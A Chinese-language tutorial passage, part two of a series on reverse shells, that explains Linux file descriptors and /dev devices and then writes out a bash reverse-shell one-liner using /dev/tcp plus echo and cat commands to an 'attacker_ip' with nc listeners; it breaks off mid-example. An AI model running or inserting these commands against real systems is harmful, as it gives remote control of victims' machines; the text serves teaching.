反弹shell那些事儿( 二 )


反弹shell那些事儿

文章插图
 
这里的&符号是为了区分文件跟文件描述符的 , 如果这里没有&符号 , 系统会把它(1)理解为文件 , 而不是标准输出
同理 , 在错误输出的命令结尾加上1>&2 , 这个语句可以理解为将标准输出与错误输出一致 , 也就是将他们输出到一个文件中:
反弹shell那些事儿

文章插图
 
查看一个进程打开了哪些文件:
[root@lee]# nc -lvp 2333 [root@lee]# netstat -ntlp|grep 2333tcp        0      0 0.0.0.0:23330.0.0.0:*  LISTEN      16303/nc/proc/[进程ID]/fd这个目录专门用于存放文件描述符
[root@lee]# ll /proc/16303/fdtotal 0lrwx------ 1 root root 64 Apr 20 14:41 0 -> /dev/pts/1lrwx------ 1 root root 64 Apr 20 14:41 1 -> /dev/pts/1lrwx------ 1 root root 64 Apr 20 14:41 2 -> /dev/pts/1lrwx------ 1 root root 64 Apr 20 14:41 3 -> socket:[339049416]lrwx------ 1 root root 64 Apr 20 14:41 6 -> /dev/pts/1cd /dev/pts ll
反弹shell那些事儿

文章插图
 
上图的多个tty我理解为交互式shell(终端)的数量 。tty设备包括虚拟控制台 , 串口以及伪终端设备 。
上图我用xshell起了7个交互式shell,都关闭只保留一个时:
反弹shell那些事儿

文章插图
 
/devdev是设备(device)的英文缩写 。这个目录中包含了所有linux系统中使用的外部设备 。是一个访问这些外部设备的端口 。我们可以非常方便地去访问这些外部设备 , 和访问一个文件 , 一个目录没有任何区别 。(Linux一切皆文件)
/dev/null/dev/null 它是空设备 , 也称为位桶(bit bucket)或者黑洞(black hole) 。你可以向它输入任何数据 , 但任何写入它的数据都会被抛弃 。通常用于处理不需要的输出流 。(当然 , 它也可以作为空的输入流)
例如:
反弹shell那些事儿

文章插图
 
/dev/zero/dev/zero
创建一个为NULL填充的文件 。
dd if=/dev/zero of=foobar count=2 bs=1024 dd:用指定大小的块拷贝一个文件 , 并在拷贝的同时进行指定的转换 。
反弹shell那些事儿

文章插图
 
linux命令总结dd命令详解
/dev/pty伪终端(/dev/pty/)
伪终端(Pseudo Terminal)是成对的逻辑终端设备(即master和slave设备, 对master的操作会反映到slave上) 。
/dev/tty/dev/tty是当前进程的控制终端的设备特殊文件 。
其他/dev/hd[a-t]:IDE设备/dev/sd[a-z]:SCSI设备/dev/fd[0-7]:标准软驱/dev/md[0-31]:软raid设备/dev/loop[0-7]:本地回环设备/dev/ram[0-15]:内存/dev/null:无限数据接收设备,相当于黑洞/dev/zero:无限零资源/dev/tty[0-63]:虚拟终端/dev/ttyS[0-3]:串口/dev/lp[0-3]:并口/dev/console:控制台/dev/fb[0-31]:framebuffer/dev/cdrom => /dev/hdc/dev/modem => /dev/ttyS[0-9]/dev/pilot => /dev/ttyS[0-9]/dev/random:随机数设备/dev/urandom:随机数设备bash -i >& /dev/tcp/ip/port 0>&1bash -i 表示创建一个交互式的shell
/dev/tcp/ip/port , 这个文件不是存在的 , 但是当你在监听这个端口的时候 , 对这个文件进行读写 , 就可以实现两个主机之间的socket通信
首先我们在攻击机开启监听 , 然后在Linux机器上输入下面的命令 , 即将指定字符通过tcp协议发送到攻击机的2333端口:
echo 1 > /dev/tcp/attacker_ip/2333攻击机监听:
nc -lvp 2333Connection from victim_ip:499481UDP发包同理:
echo 2 > /dev/udp/attacker_ip/2333攻击机监听:
nc -luvp 2333Received packet from victim_ip:22367 -> 192.168.0.226:2333 (local)12>&1 将错误输出和标准输出输出到同一个文件(Linux一切皆文件):
靶机:
echo1 1> /dev/tcp/attacker_ip/2333 2>&1攻击机:
[root@attacker ~]# nc -lvp 2333Connection from victim_ip:5479-bash: echo1: command not found通过 <将标准输出改成标准输入:
靶机:
cat < /dev/tcp/attacker_ip/2333qwerasdf攻击机:


推荐阅读